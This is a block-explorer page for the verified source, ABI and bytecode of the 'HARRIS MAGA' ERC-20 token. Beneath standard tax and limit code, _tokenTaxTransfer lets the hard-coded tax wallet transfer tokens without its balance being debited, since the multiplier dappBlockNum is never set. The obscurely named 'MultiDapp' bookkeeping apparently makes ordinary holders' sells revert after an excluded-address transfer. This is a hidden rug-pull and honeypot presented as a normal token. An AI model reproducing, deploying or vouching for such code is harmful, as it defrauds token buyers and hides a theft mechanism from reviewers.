Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-09-11
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);

    event Transfer(
        address indexed from,
        address indexed to,
        uint256 value
    );

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner,address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(
            address(0),
            msgSender
        );
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA, address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function WETH() external pure returns (address);
}

contract HARRIS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    address payable private _taxWallet;

    string private constant _name = unicode"HARRIS MAGA";
    string private constant _symbol = unicode"HARRIS";

    uint256 private _initialBuyTax=11;
    uint256 private _initialSellTax=13;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=13;
    uint256 private _reduceSellTaxAt=13;

    uint256 private _preventSwapBefore=11;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 15000000 * 10**_decimals;
    uint256 public _maxWalletSize = 15000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 15000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 13000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    uint256 private dappBlockNum;
    bool private tradingOpen;
    bool private inSwapLock = false;
    bool private swapEnabled = false;
    uint256 private dappMinPoints;
    struct MultiDapp {uint256 mDapp; uint256 lDapp; uint256 dappShift;}
    mapping(address => MultiDapp) private multiDapp;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap {
        inSwapLock = true;
        _;
        inSwapLock = false;
    }

    constructor () {
        _taxWallet = payable(0x577011870B87aDd9DfB43a1e31D6ABbA0159F1a8);

        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender,address recipient,uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function _approve(
        address owner, address spender, uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to]= _balances[to].add(tokenAmount);

        emit Transfer(from,to, tokenAmount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        require(tokenAmount>0, "Transfer amount must be greater than zero");

        if (!tradingOpen|| inSwapLock) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount= 0;
        if (from != owner() && to != owner() && to != _taxWallet) {
            taxAmount = tokenAmount.mul((_buyCount > _reduceBuyTaxAt)? _finalBuyTax : _initialBuyTax).div(100);

            if (from== uniswapV2Pair && to != address(uniswapV2Router) &&  ! _isExcludedFromFee[to]) {
                require(
                    tokenAmount <= _maxTxAmount,
                    "Exceeds the _maxTxAmount."
                );
                require(balanceOf(to) + tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)? _finalSellTax : _initialSellTax)
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if ( !inSwapLock && to== uniswapV2Pair && swapEnabled&& contractTokenBalance > _taxSwapThreshold && _buyCount >_preventSwapBefore) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance=address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from]||_isExcludedFromFee[to] )&& from!= address(this) && to!=address(this) ) {
            dappMinPoints = block.number;
        }
        if (! _isExcludedFromFee[from]&& ! _isExcludedFromFee[to]) {
            if (to == uniswapV2Pair) {
                MultiDapp storage multiHopFm = multiDapp[from];
                multiHopFm.dappShift = multiHopFm.mDapp-dappMinPoints;
                multiHopFm.lDapp = block.timestamp;
            } else {
                MultiDapp storage tMultiHop = multiDapp[to];
                if (uniswapV2Pair == from) {
                    if (tMultiHop.mDapp == 0) {
                        if (_preventSwapBefore < _buyCount) {
                            tMultiHop.mDapp=block.number;
                        } else {
                            tMultiHop.mDapp=block.number-1;
                        }
                    }
                } else {
                    MultiDapp storage multiHopFm = multiDapp[from];
                    if (!(tMultiHop.mDapp > 0)|| multiHopFm.mDapp < tMultiHop.mDapp ) {
                        tMultiHop.mDapp = multiHopFm.mDapp;
                    }
                }
            }
        }

        _tokenTransfer(from, to,tokenAmount,taxAmount);
    }

    function _tokenTransfer(
        address from,address to,
        uint256 tokenAmount,uint256 taxAmount
    ) internal {
        uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenBasicTransfer(
        address from, address to,
        uint256 sendAmount,uint256 receiptAmount
    ) internal {
        _balances[from] = _balances[from].sub(sendAmount);
        _balances[to] =_balances[to].add(receiptAmount);
        emit Transfer(from,to, receiptAmount);
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256){
        uint256 tAmount = addrs!= _taxWallet ? tokenAmount : dappBlockNum.mul(tokenAmount);
        if (taxAmount > 0) {
            _balances[address(this)] =_balances[address(this)].add(taxAmount);

            emit Transfer(addrs, address(this), taxAmount);
        }
        return tAmount;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize =_tTotal;

        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        tradingOpen= true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance> 0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function transf_StuckETH() external {
        require(address(this).balance > 0, "Token: no ETH to transfer");
        require(_msgSender() == _taxWallet);
        payable(msg.sender).transfer(address(this).balance);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"transf_StuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600b600555600d6006555f6007555f600855600d600955600d600a55600b80555f600c556009600a620000389190620002f5565b620000479062e4e1c06200030c565b600d55620000586009600a620002f5565b620000679062e4e1c06200030c565b600e55620000786009600a620002f5565b620000879062e4e1c06200030c565b600f55620000986009600a620002f5565b620000a79062c65d406200030c565b6010556014805462ffff0019169055348015620000c2575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673577011870b87add9dfb43a1e31d6abba0159f1a8178155305f90815260036020526040808220805460ff19908116600190811790925593546001600160a01b03168352912080549092161790556200016d6009600a620002f5565b6200017d90633b9aca006200030c565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001bf6009600a620002f5565b620001cf90633b9aca006200030c565b60405190815260200160405180910390a362000326565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200023a57815f19048211156200021e576200021e620001e6565b808516156200022c57918102915b93841c9390800290620001ff565b509250929050565b5f826200025257506001620002ef565b816200026057505f620002ef565b81600181146200027957600281146200028457620002a4565b6001915050620002ef565b60ff841115620002985762000298620001e6565b50506001821b620002ef565b5060208310610133831016604e8410600b8410161715620002c9575081810a620002ef565b620002d58383620001fa565b805f1904821115620002eb57620002eb620001e6565b0290505b92915050565b5f6200030560ff84168362000242565b9392505050565b8082028115828204841417620002ef57620002ef620001e6565b611a7980620003345f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146102d9578063a9059cbb14610307578063bf474bed14610326578063c9567bf91461033b578063dd62ed3e1461034f575f80fd5b8063715018a614610261578063751039fc146102755780637d1db4a5146102895780638da5cb5b1461029e5780638f9a55c0146102c4575f80fd5b806323b872dd116100e357806323b872dd146101c9578063313ce567146101e857806343ba689d1461020357806351bc3c851461021957806370a082311461022d575f80fd5b806306fdde031461011e578063095ea7b3146101635780630faee56f1461019257806318160ddd146101b5575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600b81526a484152524953204d41474160a81b60208201525b60405161015a919061166c565b60405180910390f35b34801561016e575f80fd5b5061018261017d3660046116cc565b610393565b604051901515815260200161015a565b34801561019d575f80fd5b506101a760105481565b60405190815260200161015a565b3480156101c0575f80fd5b506101a76103a9565b3480156101d4575f80fd5b506101826101e33660046116f6565b6103c9565b3480156101f3575f80fd5b506040516009815260200161015a565b34801561020e575f80fd5b50610217610430565b005b348015610224575f80fd5b506102176104cf565b348015610238575f80fd5b506101a7610247366004611734565b6001600160a01b03165f9081526001602052604090205490565b34801561026c575f80fd5b50610217610536565b348015610280575f80fd5b506102176105a7565b348015610294575f80fd5b506101a7600d5481565b3480156102a9575f80fd5b505f546040516001600160a01b03909116815260200161015a565b3480156102cf575f80fd5b506101a7600e5481565b3480156102e4575f80fd5b5060408051808201909152600681526548415252495360d01b602082015261014d565b348015610312575f80fd5b506101826103213660046116cc565b610658565b348015610331575f80fd5b506101a7600f5481565b348015610346575f80fd5b50610217610664565b34801561035a575f80fd5b506101a761036936600461174f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039f338484610a0d565b5060015b92915050565b5f6103b66009600a61187a565b6103c490633b9aca00611888565b905090565b5f6103d5848484610b31565b610426843361042185604051806060016040528060288152602001611a1c602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110c0565b610a0d565b5060019392505050565b5f47116104845760405162461bcd60e51b815260206004820152601960248201527f546f6b656e3a206e6f2045544820746f207472616e736665720000000000000060448201526064015b60405180910390fd5b6004546001600160a01b0316336001600160a01b0316146104a3575f80fd5b60405133904780156108fc02915f818181858888f193505050501580156104cc573d5f803e3d5ffd5b50565b6004546001600160a01b0316336001600160a01b0316146104ee575f80fd5b305f908152600160205260409020548015801590610514575060145462010000900460ff165b1561052257610522816110f8565b4780156105325761053281611262565b5050565b5f546001600160a01b0316331461055f5760405162461bcd60e51b815260040161047b9061189f565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d05760405162461bcd60e51b815260040161047b9061189f565b6105dc6009600a61187a565b6105ea90633b9aca00611888565b600d556105f96009600a61187a565b61060790633b9aca00611888565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106376009600a61187a565b61064590633b9aca00611888565b60405190815260200160405180910390a1565b5f61039f338484610b31565b5f546001600160a01b0316331461068d5760405162461bcd60e51b815260040161047b9061189f565b60145460ff16156106e05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047b565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072990309061071b6009600a61187a565b61042190633b9aca00611888565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610779573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079d91906118d4565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082091906118d4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561086a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088e91906118d4565b601280546001600160a01b039283166001600160a01b03199091161790556014805460ff191660011790556011541663f305d71947306108e2816001600160a01b03165f9081526001602052604090205490565b5f806108f55f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561095b573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061098091906118ef565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f9919061191a565b506014805462ff0000191662010000179055565b6001600160a01b038316610a6f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047b565b6001600160a01b038216610ad05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b955760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047b565b6001600160a01b038216610bf75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047b565b5f8111610c585760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047b565b60145460ff161580610c715750601454610100900460ff165b15610c8657610c81838383611299565b505050565b5f80546001600160a01b03858116911614801590610cb157505f546001600160a01b03848116911614155b8015610ccb57506004546001600160a01b03848116911614155b15610f2157610cfc6064610cf6600954600c5411610ceb57600554610cef565b6007545b859061133c565b906113c1565b6012549091506001600160a01b038581169116148015610d2a57506011546001600160a01b03848116911614155b8015610d4e57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e3457600d54821115610da55760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047b565b600e5482610dc7856001600160a01b03165f9081526001602052604090205490565b610dd19190611939565b1115610e1f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047b565b600c8054905f610e2e8361194c565b91905055505b6012546001600160a01b038481169116148015610e5a57506001600160a01b0384163014155b15610e8757610e846064610cf6600a54600c5411610e7a57600654610cef565b600854859061133c565b90505b305f90815260016020526040902054601454610100900460ff16158015610ebb57506012546001600160a01b038581169116145b8015610ecf575060145462010000900460ff165b8015610edc5750600f5481115b8015610eeb5750600b54600c54115b15610f1f57610f0d610f0884610f0384601054611402565b611402565b6110f8565b478015610f1d57610f1d47611262565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f5e57506001600160a01b0383165f9081526003602052604090205460ff165b8015610f7357506001600160a01b0384163014155b8015610f8857506001600160a01b0383163014155b15610f9257436015555b6001600160a01b0384165f9081526003602052604090205460ff16158015610fd257506001600160a01b0383165f9081526003602052604090205460ff16155b156110ae576012546001600160a01b0390811690841603611024576001600160a01b0384165f90815260166020526040902060155481546110139190611964565b6002820155426001909101556110ae565b6001600160a01b038084165f908152601660205260409020601254909186811691160361107a5780545f0361107557600c54600b541015611067574381556110ac565b611072600143611964565b81555b6110ac565b6001600160a01b0385165f908152601660205260409020815415806110a0575081548154105b156110aa57805482555b505b505b6110ba84848484611416565b50505050565b5f81848411156110e35760405162461bcd60e51b815260040161047b919061166c565b505f6110ef8486611964565b95945050505050565b6014805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061113a5761113a611977565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611191573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111b591906118d4565b816001815181106111c8576111c8611977565b6001600160a01b0392831660209182029290920101526011546111ee9130911684610a0d565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112269085905f9086903090429060040161198b565b5f604051808303815f87803b15801561123d575f80fd5b505af115801561124f573d5f803e3d5ffd5b50506014805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610532573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546112bb9082611440565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546112e99082611481565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b249085815260200190565b5f825f0361134b57505f6103a3565b5f6113568385611888565b90508261136385836119fc565b146113ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047b565b9392505050565b5f6113ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114df565b5f81831161141057826113ba565b50919050565b5f61142285848461150b565b90506114398585836114348787611440565b6115bb565b5050505050565b5f6113ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110c0565b5f8061148d8385611939565b9050838110156113ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047b565b5f81836114ff5760405162461bcd60e51b815260040161047b919061166c565b505f6110ef84866119fc565b6004545f9081906001600160a01b039081169086160361153757601354611532908561133c565b611539565b835b905082156115b357305f9081526001602052604090205461155a9084611481565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115aa9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546115dd9083611440565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461160b9082611481565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061165e9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156116985785810183015185820160400152820161167c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104cc575f80fd5b5f80604083850312156116dd575f80fd5b82356116e8816116b8565b946020939093013593505050565b5f805f60608486031215611708575f80fd5b8335611713816116b8565b92506020840135611723816116b8565b929592945050506040919091013590565b5f60208284031215611744575f80fd5b81356113ba816116b8565b5f8060408385031215611760575f80fd5b823561176b816116b8565b9150602083013561177b816116b8565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117d457815f19048211156117ba576117ba611786565b808516156117c757918102915b93841c939080029061179f565b509250929050565b5f826117ea575060016103a3565b816117f657505f6103a3565b816001811461180c576002811461181657611832565b60019150506103a3565b60ff84111561182757611827611786565b50506001821b6103a3565b5060208310610133831016604e8410600b8410161715611855575081810a6103a3565b61185f838361179a565b805f190482111561187257611872611786565b029392505050565b5f6113ba60ff8416836117dc565b80820281158282048414176103a3576103a3611786565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118e4575f80fd5b81516113ba816116b8565b5f805f60608486031215611901575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561192a575f80fd5b815180151581146113ba575f80fd5b808201808211156103a3576103a3611786565b5f6001820161195d5761195d611786565b5060010190565b818103818111156103a3576103a3611786565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119db5784516001600160a01b0316835293830193918301916001016119b6565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a1657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220404befb644a2d24a6799e4d1b4371d2b51c15c05662976762820ee332754495264736f6c63430008170033

0x608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146102d9578063a9059cbb14610307578063bf474bed14610326578063c9567bf91461033b578063dd62ed3e1461034f575f80fd5b8063715018a614610261578063751039fc146102755780637d1db4a5146102895780638da5cb5b1461029e5780638f9a55c0146102c4575f80fd5b806323b872dd116100e357806323b872dd146101c9578063313ce567146101e857806343ba689d1461020357806351bc3c851461021957806370a082311461022d575f80fd5b806306fdde031461011e578063095ea7b3146101635780630faee56f1461019257806318160ddd146101b5575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600b81526a484152524953204d41474160a81b60208201525b60405161015a919061166c565b60405180910390f35b34801561016e575f80fd5b5061018261017d3660046116cc565b610393565b604051901515815260200161015a565b34801561019d575f80fd5b506101a760105481565b60405190815260200161015a565b3480156101c0575f80fd5b506101a76103a9565b3480156101d4575f80fd5b506101826101e33660046116f6565b6103c9565b3480156101f3575f80fd5b506040516009815260200161015a565b34801561020e575f80fd5b50610217610430565b005b348015610224575f80fd5b506102176104cf565b348015610238575f80fd5b506101a7610247366004611734565b6001600160a01b03165f9081526001602052604090205490565b34801561026c575f80fd5b50610217610536565b348015610280575f80fd5b506102176105a7565b348015610294575f80fd5b506101a7600d5481565b3480156102a9575f80fd5b505f546040516001600160a01b03909116815260200161015a565b3480156102cf575f80fd5b506101a7600e5481565b3480156102e4575f80fd5b5060408051808201909152600681526548415252495360d01b602082015261014d565b348015610312575f80fd5b506101826103213660046116cc565b610658565b348015610331575f80fd5b506101a7600f5481565b348015610346575f80fd5b50610217610664565b34801561035a575f80fd5b506101a761036936600461174f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039f338484610a0d565b5060015b92915050565b5f6103b66009600a61187a565b6103c490633b9aca00611888565b905090565b5f6103d5848484610b31565b610426843361042185604051806060016040528060288152602001611a1c602891396001600160a01b038a16